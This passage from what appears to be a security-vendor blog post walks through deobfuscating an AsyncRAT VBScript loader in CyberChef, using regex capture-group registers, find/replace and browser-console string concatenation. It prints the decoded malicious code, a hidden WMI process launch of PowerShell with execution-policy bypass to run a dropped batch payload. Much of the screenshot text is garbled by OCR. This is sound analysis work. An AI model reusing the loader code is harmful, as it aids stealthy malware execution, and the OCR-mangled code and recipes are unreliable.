] 7

After confirming that our regex worked as intended, we converted the regex into a subsection and applied a

register.

A register would allow us to extract values from the script and store them in “registers”, which are the CyberChef

equivalent of variables. This would allow us to better implement the string replace operation.

In order to apply a register, we applied the same regex as before, but added parentheses around the values that we

wanted to store as variables.

This concept is also known as a “capture group” if you’re already familiar with regex.

(You can find a short tutorial on capture groups on regexone.com)

We briefly shortened the malware script to better demonstrate this concept. See how the various values in the

“replace” operation are now stored as variables $R0, $R1, $R2 etc.
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Recipe BB T Input + 038 =

UVXVCAEWLICGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass —-Command C:\ProgramData"&"
\UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW.bat"

Section (regex) KAYWWOXZXNUASUEWKCHFKL

Replace\ (" [~"]+"," [.. Case sensitive matching  =Replace("2_ProceIEGKBYVVFEPXFBDSLDYDUPS", "IEGKBYVVFEPXFBDSLDYDUP","S")

Subsection omn

Global matching [J ignore errors
mc 233 = 2 Tr Raw Bytes & LF
Register © U Output BOm:
Extractor . » UVXVCAEWLICGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData"&"
e\("([~"]1+)","([~*"]+)", . Case insensitive \UPFCRQOFGHVNBVUABXGF IW\UPFCRQOFGHVNBVUABXGFIW.bat"
KAYWWOXZXNUASUEWKCHFKL
=Replace("2_ProceIEGKBYVVFEPXFBDSLDYDUPS" , "IEGKBYVVFEPXFBDSLDYDUP" ,"'S")
D Multiline matching [J Dot matches all
$R@ = 2_ProceIEGKBYVVFEPXFBDSLDYDUPS
$R1 = IEGKBYVVFEPXFBDSLDYDUP
$R2 =

& Sublime Text

Another graphical explanation courtesy of regexper.com.

Replace\(C"[A"1+"), "([A"]4)", "([A"T)"™\)

5 ) 1 1 3 1
: . 1 1 . |
._ “Replace(" + o o o _I_ u,mv _t} E sm,nn E e E sm)n _.
1
T G

- - - N - -

We had successfully extracted values of interest using registers. Which we then applied to a find/replace

operation.
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Recipe

Section (regex)

Replace\(" [~"]+","[ ..

Extractor
:e\(ll( [All]_l_)II'lI( [AII]+)II "

Regular expression on
Built in regexes Regex
User defined $RO
A

B4 Case insensitive _ ~ and $ match at newlines [[] Dot matches all

e . - . _ Output format
[_] Unicode support  [_] Astral support  [_] Display total Liet ratchos

Find / Replace on
Find Replace N
$R1 REGEX ~ $R2 Global match

[ ] Case insensitive Multiline matching [] Dot matches all
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This operation was able to convert this original line into the following.

(Again, the malware script has been shortened to demonstrate the concept)

Input + O 8

UVXVCAEWLICGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData"&"\UPFCRQOFGHVNBVUABXGFIW
\UPFCRQOFGHVNBVUABXGFIW.bat"
KAYWWOXZXNUASUEWKCHFKL =Replace("2_ProceIEGKBYVVFEPXFBDSLDYDUPS" " IEGKBYVVFEPXFBDSLDYDUP","S")|

me 233 = 2 Tr Raw Bytes
Output a8 rD M
UVXVCAEWLICGGPDCUNGVGU = "-noProfilE —-ExEcutionPolicy Bypass —-Command C:\ProgramData"&"\UPFCRQOFGHVNBVUABXGFIW

\UPFCRQOFGHVNBVUABXGFIW.bat"
KAYWWOXZXNUASUEWKCHFKL ="2_ProceSS"

We then restored the full malware script and were able to obtain the following decoded content. Noting that the

Replace operations were now removed.

Input + O3 =

UVXVCAEWLJICGGPDCUNGVGU = "-noProfilE —ExEcutionPolicy Bypass —Command C:\ProgramData"&"\UPFCRQOFGHVNBVUABXGFIW
\UPFCRQOFGHVNBVUABXGFIW.bat"

KAYWWOXZXNUASUEWKCHFKL =Replace("2_ProceIEGKBYVVFEPXFBDSLDYDUPS", " IEGKBYVVFEPXFBDSLDYDUP","S")

XFGOESLXRCJJICRHXBZBPTS =
Replace("NGTBUVVAKXHWYSDLSUYFROA", " GTBUVVAKXHWYSDLSUYFROA", "'3" ) &KAYWWOXZXNUASUEWKCHFKL&Replace (" OPXKTTNEVHVBHPHDINRTICtaR" , " OPXK
TTNEVHVBHPHDINRTIC","S")

WGXOORXASAPQVFKSUEONCP= Replace (" imvZPUNUAPQQRQXXHLKAGKSFJ:W" , " ZPUNUAPQQRQXXHLKAGKSF]","2")

UYPNHFVADWURHNHZPINPTA =
Replace("IARQTGVDNTKKFKTTVUAVIZIARQTGVDNTKKFKTTVUAVIZT\c", "TARQTGVDNTKKFKTTVUAVIZ","0" ) &WGX0ORXASAPQVFKSUEONCP&Replace (" inBSGNUC
UGSGYUWICYHZEPRC" , "'BSGNUCUGSGYUWICYHZEPRC", "'3")

EXUVOYHXQTCDOGNOFYCNEI =
Replace(""MPOBNUGSTNAQHXLKTOWPLKVS: r", " POBNUGSTNAQHXLKTOWPLKV" , " T" ) &UYPNHFVADWURHNHZPINPTA&Replace ("UOPSIDSBZEFWOYWUGDCIGI_Proc",
"UOPSIDSBZEFWOYWUGDCIG]","2")

me 3439 = 21 o Tr Raw Bytes < LF
Output B0®:
UVXVCAEWLJICGGPDCUNGVGU = "-noProfilE —ExEcutionPolicy Bypass —Command C:\ProgramData"&"\UPFCRQOFGHVNBVUABXGFIW

\UPFCRQOFGHVNBVUABXGFIW.bat"

KAYWWOXZXNUASUEWKCHFKL ="2_ProceSS"

XFGOESLXRCJICRHXBZBPTS = "N3"&KAYWWOXZXNUASUEWKCHFKL&"StaR"

WGXOORXASAPQVFKSUEONCP= "imv2:W"

UYPNHFVADWURHNHZPINPTA = "00T-c"&WGXOORXASAPQVFKSUEONCP&" in3™

EXUVOYHXQTCDOGNOFYCNEI = "MTS: r""&UYPNHFVADWURHNHZPINPTA&"2_Proc"
ZZWITKAWNKYJEHAFUDTCWW="ve1=1i"

UVFBXQSZHYDXQKCCQWWNYL="10N"

KCKLFNNTZYUAJTCUDAPTVQ="NMgM"

XIJUZPDEZWXXLZKPLSXPLL="perS"

GINDQZLOGQHKQTVOYGHDKT = "aT"&UVFBXQSZHYDXQKCCQWWNYL&" le" &ZZWITKAWNKY JEHAFUDTCWW&"MP"
BDAEZIOSPHGLAYIEPCSKKZ="S0na"

INAUKWKYCZNPOIVVNEQVFN="0t-cim"

CFKSWETDBQSRPZPHXUYTDX="wer"

LOCNYJVFLHRIEEXZNOQYXB ="11.e"

Set STBRIKUASKOWTRXWVSAOGR = GetObject ("wi"&KCKLFNNTZYUAJTCUDAPTVQ&"ts:"&

" {iM"&XIJUZPDEZWXXLZKPLSXPLL&"  on" &GINDQZLOGQHKQTVOYGHDKT& er" &BDAEZIOSPHGLAYIEPCSKKZ& te} ! ——. —ro" &INAUKWKYCZNPOIVVNEQVFN&" v2")
Set NWDUSWICRKNJDDWWNKOSCS = STBRIKUASKOWTRXWVSAOGR.Get("wi"& XFGOESLXRCIJCRHXBZBPTS &'tuP")
Set NWVSBVKOKKPHTVJUAYLXIC = NWDUSWICRKNJDDWWNKOSCS.SpawnInstance_
NWVSBVKOKKPHTVJUAYLXIC.ShowWindow = @

Set ESKRQXAIQCIIWGPQEPLXN] = GetObject("wiNmg"& EXUVOYHXQTCDOGNOFYCNEI &"eSS")
EEKTGASEUQPENYYXVFFTK] = ESKRQXAIQCIIWGPQEPLXNJ].Create("P0"&CFKSWETDBQSRPZPHXUYTDX&"She"&LOCNYIVFLHRIEEXZNOQYXBS&' xe
"&UVXVCAEWLICGGPDCUNGVGU, null, NWVSBVKOKKPHTVJUAYLXIC, intProcessID)

The completed recipe can be seen in the screenshot below.
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(Note the optional addition of find/replace to turn backslashes into hyphens. The initial extracted backslashes were

causing issues with the find/replace operation, this isn't necessary to do but it results in a slightly cleaner output)

Recipe BmE npu +oEim

[ rCISAICOOMGIR - - tceroti\E -DECKIPULLSY Bipast tammand GI\PIOD 6" \UPFC .at”
Subsection S RAYWHOXZXNUASUEWKCHFKL =Replace(2_Prox DYDUPS", ovDUP*, "S")
Section o XFGOESLXRCIICRIXBZEPTS =
Replace\ (" [~"]+","[~]+_ |[Ed Case sensitive matching  [&] Global matching ] ignore errors Replace( UYFROA" ' SUYFROA", 3" HFKLGRep1. OPXKT TCtaR" , "OPXKT ", "5")
P= Replace(" KAGKSFI:N", KAGKSFI", "2")
UYPHHEVADWURKNHZPINPTA =
Find | Replace © 1 Replacel T KTTVUAVIZTAC", TVUAVIZ", "0* JEONCPEReplace(” i HZEPRC ", HZEPRC"
3
i Repiace EXUVOYHXQTCOOGNOFYENET =
\ SIMPLE STRING - = B Global match ] Case insensitive o1 KTONPLKVS:r*, KTOWPLKV™, - 262_Proc, 363°,724)
€ LUHD! IWBV i, UHDKZPL !
onaieplace (3 QIAEW" VOJREV*, “0*

]
Muttiline matching [ Dot matches ail KEKLPNNTZYUAITC " DERKDOPC H)
X1JUZPDE WL ZKPLSXPLL=" neu\auq 20 e

GINDOZLOGOHKUTVOYGHDKT =
o © Il Replace(” JBACHOT*, “TATE VLEREpL JEBIRIGK", RIGK", e ) SZZHTKAMNKY JEHAFUDTC
n 1,
Extractor § BOAEZIOSPHGLAY IEPCSKZ= JHPTAGLEZWL QN )
(" (*]+4),"((~)4)*,* .. | [ECase insensitive ] Multline matching (] Dot matches al INAUKHIOY CZNPOTWNEQUPN=Rep Lace o1\ IVGODKNL BWOCOYJ LLVKRWCT ia”, " TVGODRNLEROMIILVKRNCT™  “c” )
TS Loy . - o a o rtes U
AT e o agmo
UVVCAEWLICGGPOCINGVGU rofi1E ~EafcutionPolicy Bppass ~Comand C:\Prog uPFa X bat”
= XATWMOXZINUASUEWKCHFKL
oo sprmaslon SR XFGOESLXRCIICRHXBZBPTS AMKZX‘MAASUM(NFKLL StaRk"
A—— — WGXOORXASAPOVFKSUEONCP=
User defined RO [ case insensitive kg
A2 Proc”
Yy TSRO~
g UVFBXSZHYDXOKCCQWN
KCKLFRNT ZYUAJTCUDAPTVO=

~and § match at newlines [ Dot matches al ] Unicode support [] Astral support [ Display total  x13UZPDEZWXXLZKPLSXPLL="

COMANYLE™ | & GZ2W T TKARNKY JEHAFUDTCHWG P

Outout forma
List matches
CFRSWETDBOSRPZPHIUYTDXs"
LOCNYJVF LHRIEEXZNOQYXB ="11. &
Find [ Replace © 11 et STBRIKUASKOWTRXWVSAOGR = Sat08jct Vi SROHLANTZIATTCIBAPTVGL 3176 = " (16X 1JUZPDEZMXKLZKPLSXPLLE"0n"6G INDOZLOGOHKQ TVOYGHDKTS" er "&BDAE Z0S PHGLAY IEPCSKKZA" te 1 —
o GINAUKWKYCZNPOTVVNEQVFNG w2
----- Reslace . Set NWDUSWICH Get ("wi"6 XFGOESLXRCIICRHXBZBPTS 6" tuP)
$R1 REGEX $R2 Global match ] Case insensitive Py erer 9

HVSBUKORKPHTVIUAYLXIC. Showindow = 0
’ Set. ESKROUATOCTIWGPOEPLXN = Get0bject ("wiNng"6 EXUVDYHKOTCOOGHOFYCHET &"eSS")
B2 Muliiine matching [ Dot matches ol EEKTGASEUQPENYYXVFFTK) = ESKRQXATQCITWGPQEPLIN) .Create( P0"&C TOX&*She “ELOCNYIVFL e “GUVNVCAEWLICGGPOCINGYGY, null,
HWVSBUKOKKPHTVJUAYLXIE, intProcessID)

Merge ®n

Merge All

Syntax highlighter en
Lanausae

ke e
L

Obfuscation 4: String Concatenation

We then had one final obfuscation remaining. It is arguably the simplest so far and ironically the only one that

could not be resolved via CyberChef.

Throughout the code are concatenated strings that the malware previously stored in variables.

An attempt was made to resolve this using subsections and registers, but ultimately we could not find a solution.

We then found a workaround that wasn’t CyberChef, but technically didn’t involve leaving the CyberChef

window so it was close enough.

Here is the script with the original string concatenations "&"

CCNITUAJDCUUICNT TAVIT I —

ESKRQXAIQCIIWGPQEPLXNJ.Create("P0"&CFKSWETDBQSRPZPHXUYTDX&" She"&LOCNYJVFLHRIEEXZNOQYXB&"
xe "&UVXVCAEWLICGGPDCUNGVGU, null, NWVSBVKOKKPHTVJUAYLXIC, intProcessID)

We then replaced the visual basic string concatenations (&) with a javascript equivalent (+)
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Recipe B input + 0O 08 =
Eind / Rep UVXVCAEWLICGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData"&"
Do lace \UPFCRQOFGHVNBVUABXGF IW\UPFCRQOFGHVNBVUABXGF IW. bat"
s o KAYWWOXZXNUASUEWKCHFKL ="2_ProceSs"
& SIMPLE STRING ~ + XFGOESLXRCIICRHXBZBPTS = “N3"&KAYWWOXZXNUASUEWKCHFKL&"StaR"
WGXOORXASAPQVFKSUEONCP= " imv2:W"
HYDAHFEUVANWI IRHNHZDTNDTA = "NNT—~"SWEYNNRYACAPNVEKCIIENN DL i n "
Global match (] case insensitive el il T RawBytes S
Output % | |E] m o
Multiline matching (] Dot matches all UVXVCAEWLICGGPDCUNGVGU = "—noProfilE —ExEcutionPolicy Bypass —Command C:\ProgramData"+"
\UPFCRQOFGHVNBVUABXGF IW\UPFCRQOFGHVNBVUABXGF IW. bat"
o KAYWWOXZXNUASUEWKCHFKL ="2_ProceSs"
Syntax highlighter XFGOESLXRCJJICRHXBZBPTS = "N3"+KAYWWOXZXNUASUEWKCHFKL+"StaR"
WGXOORXASAPQVFKSUEONCP= “imv2:W"
L”?“i;e ¢ UYPNHFVADWURHNHZPINPTA = "00T-c"+WGX0ORXASAPQVFKSUEONCP+"in3"
auta detec EXUVOYHXQTCDOGNOFYCNEL =  “MTS: r*+UYPNHFVADWURHNHZPINPTA+"2_Proc"

ZZWITKAWNKYJEHAFUDTCWW="vel=1i"

UVFBXQSZHYDXQKCCQWWNYL="10N"

KCKLFNNTZYUAJTCUDAPTVQ="NMgM"

XIJUZPDEZWXXLZKPLSXPLL="pers"

GINDQZLOGQHKQTVOYGHDKT = "aT"+UVFBXQSZHYDXQKCCQWWNYL+" Le"+ZZWITKAWNKYJEHAFUDTCWW+"MP"
BDAEZIOSPHGLAYIEPCSKKZ="SOna"

INAUKWKYCZNPOIVVNEQVFN="ot-cim"

CFKSWETDBQSRPZPHXUYTDX="wer"

LOCNYJVFLHRIEEXZNOQYXB ="11l.e"

Set STBRIKUASKOWTRXWVSAOGR = GetObject("wi"+KCKLFNNTZYUAJTCUDAPTVQ+"ts:"+
"{iM"+XTIUZPDEZWXXLZKPLSXPLL+"on" +GINDQZLOGQHKQTVOYGHDKT+"er"+BDAEZIOSPHGLAYIEPCSKKZ+" te

Hl—.-ro"+INAUKWKYCZNPOIVVNEQVFN+"v2")
Set NWDUSWICRKNJIDDWWNKOSCS = STBRIKUASKOWTRXWVSAOGR.Get ("wi"+ XFGOESLXRCJJICRHXBZBPTS
+"'tuP")

Set NWVSBVKOKKPHTVJUAYLXIC = NWDUSWICRKNJDDWWNKOSCS.SpawnInstance_
NWVSBVKOKKPHTVIUAYLXIC. ShowWindow = @

Set ESKRQXAIQCIIWGPQEPLXN] = GetObject("wiNmg"+ EXUVOYHXQTCDOGNOFYCNEI +"eSS")
EEKTGASEUQPENYYXVFFTK) =
ESKRQXAIQCIIWGPQEPLXNJ.Create("P0"+CFKSWETDBQSRPZPHXUYTDX+"She"+LOCNYJVFLHRIEEXZNOQYXB+"
xe "+UVXVCAEWLICGGPDCUNGVGU, null, NWVSBVKOKKPHTVJUAYLXIC, intProcessID)

The firefox developer console to dynamically concatenate the strings.

The concatenated strings can be seen below. This reveals the ultimate intention and purpose of the script, which

was to utilize Powershell to execute a second payload (a batch script) stored on the machine.

in a scroll container because of too manv consecutive adiustments (10) with too little total distance (@ ox averace. 8 px total),

+GINDQZLOGQHKQTVOYGHDKT+" e " +BDAEZIOSPHGLAY KZ+"te +IN NKYCZNPOTV QUFN+"

"wiNMgMts: {iMperSonaTiONlevel=iMPerSOnate

b3 Nmg''+ EXUVO T OFYCNEL +'e!
"wiNmgMTS: rO0T-cimv2:Win32_ProceS!
PO"+CFKSWETDBQSRP (TDX+"She NYIVFLF 7 "xe ' 1CGC u
"POwerShell.exe -noProfilE -ExEcutionPolicy Bypass -Command C:ProgramDataUPFCRQOFGHVNBVUABXGFIWUPFCRQOFGHVNBVUABXGFIW.bat"

u|

For the sake of readability and completeness, we manually replaced the last decoded values, leaving this as the

final state of the script.
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Set STBRIKUASKOWTRXWVSAOGR = GetObject("wiNMgMts:{iMperSonaTiONlevel=iMPerSOnate}!-—.-root-cimv2")
Set NWDUSWICRKNJDDWWNKOSCS STBRIKUASKOWTRXWVSAOGR. Get ("wiN32_ProceSSStaRtuP")

Set NWVSBVKOKKPHTVJUAYLXIC = NWDUSWICRKNJDDWWNKOSCS.SpawnInstance_

NWVSBVKOKKPHTVJUAYLXIC. ShowWindow =

Set ESKRQXAIQCIIWGPQEPLXNJ = GetObject("wiNmgMTS: r00T-cimv2:Win32_ProceSS")

EEKTGASEUQPENYYXVFFTKJ = ESKRQXAIQCIIWGPQEPLXNJ.Create("POwerShell.exe —-noProfilE —-ExEcutionPolicy
Bypass —Command C:\\ProgramData\\UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW.bat", null,
NWVSBVKOKKPHTVJUAYLXIC, intProcessID)

1]

Before and After Pics

Here you can see a full before and after of our CyberChef Decoding.

ou a8 @ o

o e Output BDm:o
UVXVCAEWLICGGPOCUNGVGU = ““&chr (45)6°*&chr (110)66chr (111)6%Pre6ehr{ 111)6"*+#11°6chr (69)6"

“&chr(45)6"kchr{69) 6" 69)6" "+ "uti"Echr(111)6" “Echr (110)6"P Echr(111)6° 1"+ icy UVXVCAEWLICGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData"&"
Byp"+""bchr{(97)6" "&chr (115)&""6chr (115) 6" \UPFC IW\UPFC IW. bat"

"&chr(45)8"C Echr (111)6""6chr (189)6""+" "&chr(109)5""&chr (97)&""Echr (118)6"d S i s

CE\PP &Chr(111)6" "+ gr"6ehr(97)6™ &chr ( 109)&" D"+ "&chr (97)6" t"6ehr (97)6" &" \UPFCROOF GHVNBVUABXGF IW KAYWWOXZXNUASUEWKCHFKL ="2_Process"

\UPFCROOFGHVNBVUABXGF IN, b6chr (97)6" ¢ XFGOESLXRCIJCRHXBZBPTS = "“N3"SKAYWWOXZXNUASUEWKCHFKL&"StaR"

MWXZMASUEW(NFKI. =Replace(StrReverse (" &chr(83) 4" PUDYDLSDBFXPEFVVYBKGETecor~&chr (80 & " W

chr(S8)5""), “TEGKBYVVFEPXFBDSLOYDUP" , " kchr(83)6"" ) SGADORNASAPONFISUEINCES-JV2 1M .

XFGOESLXRC)ICRHXBZBPTS = UYPNHFVADWURHNHZPINPTA = "00T-c"&WGXDORXASAPQVFKSUEONCP&" in3"

Replace( ("AORFY! chr(78)6""), SUYFROA" , *“&Chr (51)6™" SXATWWOXDNUAS  EXUVOYHXQTCDOGNOFYCNET =  “MTS: r"&UYPNHFVADWURHNHZPINPTA&"2_Proc"

UEWKCHFKLSReplace (StrReverse(""&chr(82) 6 atCl TKXPO™) , " OPXKT IC",""&chr(83)6"") ZZWITKAWNKY JEHAFUDTCWW="ve 1=i"

WGXOORXASAPQUFKSUEONCP= Ml

Replace(StrReverse(“W: JFSKGAKLIOQROQPAUNUPZvEL" ) , “ZPUNUAPQQRQXXHLKAGKSF ), ““Gchr (58)6"*) UVFBXQSZHYDXQKCCQWWNYL="10N'

UYPNHFVADWURHNHZPINPTA = KCKLFNNTZYUAJTCUDAPTVQ="NMgM"

Replace (StrReverse (" c\"&chr(B4)§"ZIVAUVTTKFKKTNOVGTORATZIVAUVTTKF! TTVUAV): ,""!-c XIJUZPDEZWXXLZKPLSXPLL="pers"
hr(79)6")GHGXOORXASAPOVFKSUEONCPRep ace (St rReverse| "CRPE ZHYCIWUYGSGUCLNGSBAL"), "BSGNUCUGSGYUMI CYHZEPRC , "% o= i
b GINDQZLOGQHKQTVOYGHDKT = "aTiONlevel=iMp
EXUVOYHXQTCDOGNOFYCNEL = BDAEZIOSPHGLAYIEPCSKKZ="S0na"

Replace (StrReverse (*r:"&chr(83)6"VKLPWOTKLIHOANTSGUNBOP &chr (77)6""), " Pommssmcmmwm "gchr(B4)6™)&  TNAUKWIKYCZNPOIVVNEQVFN="0t—cim"
LIVMW.!MWNZHHHM:;;L-::(Slrlevzrsz( “corP_JGIC! ehr (5006 ElGETDBOSRPZPHXUYTDX="wer"

) LOCNYJVFLHRIEEXZNOQYXB ="11.e"

ZZHJWKYJEHAFUDT(W-Rep\a:e(SXrﬂeversel 1VBWIQIGGGEKPAQQLPZKDHULev" ) , "UHDKZPLOOAPKEGGGIOIWBV , "=

UVFEXQSZHYDXQKCCOWNNYL=Rep Lace(StrReverse( " &chr (78)&"VEAJOVC "), 0JAEV",""&  Set STBRIKUASKOWTRXWVSAOGR = GetObject('wiNMgMts:{iMperSonaTiONlevel=iMPerSOnate}!--.-root-cimv2")
zzllﬁ;:&um"w&h (okiStrMaversei =K N —— Set NWDUSWICRKN S = STBR RXWVSAOGR. Get ("wiN32_ProceSSStaRtuP')

RCLTBIE ), "DCRIBIPCIHIVRINIYE Gk (1706 Eases. Set NWVSBVKOKKPHTVIUAYLXIC = NWDUSWICRKNIDDWWNKOSCS.SpawnInstance_

XIJUZPDEZWXXLZKPLSXPLL=Rep Lace (Strheverse(™& NWVSBVKOKKPHTVIUAYLXIC. ShowWindow = @

Emilmmmmm JORep") , "RO: 4oy Set ESKROXATQCITWGPQEPLXN] = GetObject ("wiNmgMTS: r00T-cimv2:Win32_ProceSs")

Repace ke (816 AR NS STIRETAT:) - TATE OSSO -1 AP EEKTGASEUQPENYYXVFFTK) = ESKROXAIQCITWGPQEPLXN).Create("POwerShell.exe -noProfilE -ExEcutionPolicy
Replace( *KGIRIBE. A", JEBIRIGK", " e" :Lmjrxmnumsunum,\-q(s: Bypass -Command C:\\ProgramData\\UPFCRQOF TW\UPFCRQOF IW.bat", null,

Here you can see a full before/after, with the string concatenations and assigments manually removed.

Output - Ralclis] F ra
Output B0oDm® 3
NRVCABYLICGGPOCINGYGH = “4che (45166 (1O1E"6en (11114 Prbehr (111G 41" (6916
kl\rllSlL “Bchr{69)&"x"&chri69. “&chr{111)&" " &chr(110)&" P*&chr(111)
Byp” +" "&Chr(97)6""Gchr(115)4&" &chr

G "Bchr (97)6"Gchr (110)6°
GEA P97 16"t Gehr (97 166" \UPFCROOF GIVISVUABNGF W Set STBRIKUASKOWTRXWVSAOGR = GetObject("wiNMgMts:{iMperSonaTiONlevel=iMPerSOnate}!——.-

KATWMOXZXMIASUEWKCHFKL =Replace (StrReverse(™” unna;:a "PUBYDLSDBFXPEFVVYBKGETecor"&chr (80)&"_"& root-cimv2")

Chr{S816"), “TEGKBYWVFEPXFBOSLDTDUS", " ichr (B3)&""

XFOESURCI BB = Set NWDUSWICRKNJDDWWNKOSCS = STBRIKUASKOWTRXWVSAOGR.Get ("wiN32_ProceSSStaRtuP")

Maplacal oA SOLSVPRON e (51167 | SO Set NWVSBVKOKKPHTVIUAYLXIC = NWDUSWICRKNIDDWWNKOSCS. SpawnInstance_

ek iy e A o ] NWVSBVKOKKPHTVIUAYLXIC. ShowWindow = @

W*M“Muwm”w;“‘m”um o [ e g S€T ESKROXAIQCIIWGPQEPLXN] = GetObject (“wiNmgMTS:r00T-cimv2:Win32_ProceSS")

w9y L CRPEDIVC “), esawcicsermscmzessc', 6 EEKTGASEUQPENYYXVFFTK) = ESKRQXAIQCIIWGPQEPLXNJ.Create("POwerShell.exe -noProfilE

EXUVOTHXQTCDOGNOFYCNET = —ExEcutionPolicy Bypass -Command C:\\ProgramData\\UPFCRQOFGHVNBVUABXGFIW

st B e b1 e g AL L omesciemisare \\UPFCRQOFGHVNBVUABXGFIW.bat", null, NWVSBVKOKKPHTVIUAYLXIC, intProcessID)

;v:;rmmmmwu rReverse (" PIXDMULev™) , “UNDKZPLOGAPKEGGGIQIWBY™ , “=* )

UVFBXOSZHYDXOKCCQwWNYL=Replace (StrReverse (™ kl\ri 78) 6" VEAJOVCH )~ IOJAEV" , ""&

aeaTATe heverse S— p——

chr{78)&"" ), “DCRKDQPCQHHODVOHUPGIYK™, s.:mum.-‘--)

X1IUZPDEZWXKLZKPLSXPLL=Replace (St Reverse ("6

chr(83)s’ J0Rep™ ), “ROIZHKERS )

GINDQZLOGOHKQTVOYGHDKT =

Replace(StrReverse(™ &chr(84)6"ONC JETAT") , “TATE. JBANO" , “2* RN L

1,"S0F EBIRIGK", "
rReverse("LITRKBUSUZYFPVFHZVPRS“6chr (77)6°"), “JSRPVZHFVPFYZUSUBKRTIL" , ““&chr (80) 6" *)
2 a¥TEPE kit 7RI £ HYEXFNER HPTAR! A7 (0" Vs,

Conclusion

At this point, we considered the script to be fully decoded and proceeded to analyze the remaining .bat script. This
.bat script was itself obfuscated, and unravelled itself into another (unsurprisingly) obfuscated PowerShell script.

This PowerShell script contained a loader for AsyncRat malware.

If you’re interested in seeing some additional analysis of the remaining payloads, we highly recommend the

following posts.
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e Matthew Brennan - @embee research https://twitter.com/embee research/status/1589453390450683905?
s=20

e Michael Elford - @Maverick 011
https://hcksyd.medium.com/asyncrat-analysing-the-three-stages-of-execution-378b343216bf

Source: https://www.huntress.com/blog/advanced-cyberchef-tips-asyncrat-loader
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